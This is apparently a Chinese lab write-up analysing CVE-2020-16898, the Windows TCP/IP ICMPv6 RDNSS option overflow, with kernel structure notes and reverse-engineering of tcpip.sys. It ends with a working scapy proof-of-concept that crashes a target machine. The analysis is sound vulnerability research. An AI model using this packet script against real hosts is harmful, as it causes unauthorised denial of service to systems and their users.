CVE-2020-16898漏洞分析与复现

image-20220314103347935

0x01 漏洞概述

​ 本漏洞是由于Windows TCP/IP堆栈在处理ICMPv6的路由广播数据包时,处理逻辑存在纰漏,导致存在远程代码执行漏洞。成功利用该漏洞的攻击者可以在目标机器(主机或服务器)上执行任意代码,破环该主机。

0x02 环境配置

靶机——win server 2019

攻击者——win10主机

靶机使用NAT连接,开启IPV6:

image-20220311094359026

fd15:4ba5:5a2b:1008:5dfd:a60a:67fe:fb59

0x03 原理分析

一、基本信息

​ 漏洞文件:tcpip.sys

​ 漏洞函数:Ipv6pUpdateRDNSS()函数

​ 漏洞对象:ICMPv6路由广播中的option结构

二、tcpip.sys文件信息收集

image-20220311103501654

储存路径为:windows\system32\drivers

1.函数调用关系

直接进入Ipv6pUpdateRDNSS()函数,右键查看调用关系:

image-20220311131254716

Icmpv6ReceiveDatagrams( ) -> Ipv6pHandleRouterAdvertisement( ) -> Ipv6pUpdateRDNSS( )

2.重要结构体

首先,我们需要先了解一些出现的数据结构。

_NET_BUFFER:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
typedef struct _NET_BUFFER {
union {
struct {
NET_BUFFER *Next;
MDL *CurrentMdl;
ULONG CurrentMdlOffset;
union {
ULONG DataLength;
SIZE_T stDataLength;
};
MDL *MdlChain;
ULONG DataOffset;
};
SLIST_HEADER Link;
NET_BUFFER_HEADER NetBufferHeader;
};
USHORT ChecksumBias;
USHORT Reserved;
NDIS_HANDLE NdisPoolHandle;
PVOID NdisReserved[2];
PVOID ProtocolReserved[6];
PVOID MiniportReserved[4];
PHYSICAL_ADDRESS DataPhysicalAddress;
union {
NET_BUFFER_SHARED_MEMORY *SharedMemoryInfo;
SCATTER_GATHER_LIST *ScatterGatherList;
};
} NET_BUFFER, *PNET_BUFFER;

// from https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/nbl/ns-nbl-net_buffer

在microsoft官网上,说明了_NET_BUFFER的作用:

The NET_BUFFER structure specifies data that is transmitted or received over the network.

用于传输或者接收固定的消息;

同时给出了:

NDIS drivers can call the following functions to allocate and initialize a NET_BUFFER structure:

可能调用上述两个函数初始化此结构体。

Chained to each NET_BUFFER structure are one or more buffer descriptors that map buffers that contain network packet data. These buffer descriptors are specified as an MDL chain in the NetBufferHeader member. Such network packet data either was received or will be transmitted.

我理解就是使用一个叫做MDL的结构体对_NET_BUFFER的缓冲区进行描述。

然后可以调用 NdisGetDataBuffer函数以从NET_BUFFER结构访问连续的数据块;

我们不关注这个结构体每个字段具体的作用,了解上述信息即可。

MDL结构体
1
2
3
4
5
6
7
8
9
10
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;

Chained to each NET_BUFFER structure are one or more buffer descriptors that map buffers that contain network packet data. These buffer descriptors are specified as an MDL chain in the NetBufferHeader member. Such network packet data either was received or will be transmitted.

To access additional data space in the MDL chain, NDIS drivers can call the following functions:

​ 这个结构体的说明虽然我们看不太懂,但是大概意思就是说当需要使用NET BUFFER或者NET BUFFER LIST的内容时候,需要使用相应的MDL结构体,调用上述的函数进行调用。

一个连续的虚拟内存地址范围可能是由多个分布(spread over)在不相邻的物理页所组成的。系统使用MDL(内存描述符表)结构体来表明虚拟内存缓冲区的物理页面布局。

总结:MDL就是描述一块虚拟内存的结构体,里面有个成员记录了多个页码,这些页码即处于各个不同物理地址的物理块的页号。

http://www.doczj.com/doc/0a61613d9b6648d7c0c7460f.html

总结一下,就是我们有一个很复杂的NET BUFFER结构体,(大概因为结构体不是连续储存的?)与之对应的有一个MDL结构体来对应其指定的内存,当我们需要使用NET BUFFER中的信息时,需要使用NdisRetreatNetBufferDataStart函数进行调取数据。(其实没有太看懂,希望能有大佬解释)

三、RDNSS Option数据包:

(本部分摘自https://blog.csdn.net/weixin_43815930/article/details/109328436)

在这里插入图片描述

  • Type:
    大小为8bits即1字节,字面理解此字段用于表述类型,RDNSS 的类型为25
  • Length:
    大小为8bits即1字节,选项的长度(包括“Type”和“Length”字段)以8个八位位组。如果该选项中包含一个IPv6地址,则最小值为3 。每增加一个RDNSS地址,长度就会增加2(因为每个地址长16bits即2个字节)。接收器使用“Length”字段来确定选项中IPv6地址的数量。
  • Reserved:
    大小为16bits,2字节,保留字段
  • Lifetime:
    32bits即4字节无符号整数。该RDNSS地址可以用于名称解析的最长时间
  • Addresses of IPv6 Recursive DNS Servers:
    一个或多个128位即16字节的IPv6地址 。地址数确定通过长度字段。也就是说,地址数等于(Length-1)/ 2。

也就是说总长为24字节

之所以要知道这个报文的结构,是因为漏洞就出现在进行报文解析的部分。

三、tcpip.sys文件逆向分析

Icmpv6ReceiveDatagrams( ) -> Ipv6pHandleRouterAdvertisement( ) -> Ipv6pUpdateRDNSS( )

先进入:Ipv6pUpdateRDNSS( )

image-20220314111529055

v37就是(Length-1)/ 2,相当于地址的个数。

image-20220314114817247

在上面的处理过程中,存在一个问题:假设Length的长度为4,那么计算结束之后,AddressCount的值应该为1。

此时,按照正常逻辑,Ipv6pUpdateRDNSS()函数应该增加32字节(4*8)的缓冲区,但是后续在分配缓冲区时只分配了24字节:sizeof(ND_OPTION_RDNSS) + sizeof(IN6_ADDR) = 8 + 16 = 24,从而导致了溢出。

根据RFC8106的标准,Length字段的值应该满足最小为3的奇数的情况。当提供一个偶数Length值时,Windows TCP/IP堆栈错误地将buffer前进了8个字节。

这主要是因为堆栈在内部以16字节为增量进行计数,并且没有使用非RFC兼容长度值的处理代码。这种不匹配导致堆栈将当前选项的最后8个字节解释为第二个选项的开始,最终导致缓冲区溢出和潜在的RCE。

而crash原因的是GS机制的Security Cookie校验失败,也就是说要rce需要先搞定GS,我不会,所以受不了放弃了。

0x04 利用条件

  1. 基本条件
    • attacker需要获取target的IPv6和MAC地址
  2. 触发过程
    • attacker需要搭配其他内存泄漏或信息泄漏漏洞来实现RCE
    • attacker需要想办法绕过tcpip.sys的GS保护机制

attacker直接发送特制的ICMPv6路由广播数据包给target:

0x05 poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6

v6_dst = "target_ipv6" #受害机器的ipv6地址选取 “ipv6地址” 或 “临时ipv6地址”
v6_src = "attacker_ipv6" #攻击机的ipv6地址选取 “本地链接的ipv6地址”

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA()

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
send(p)

image-20220311095109856

打重启了。。。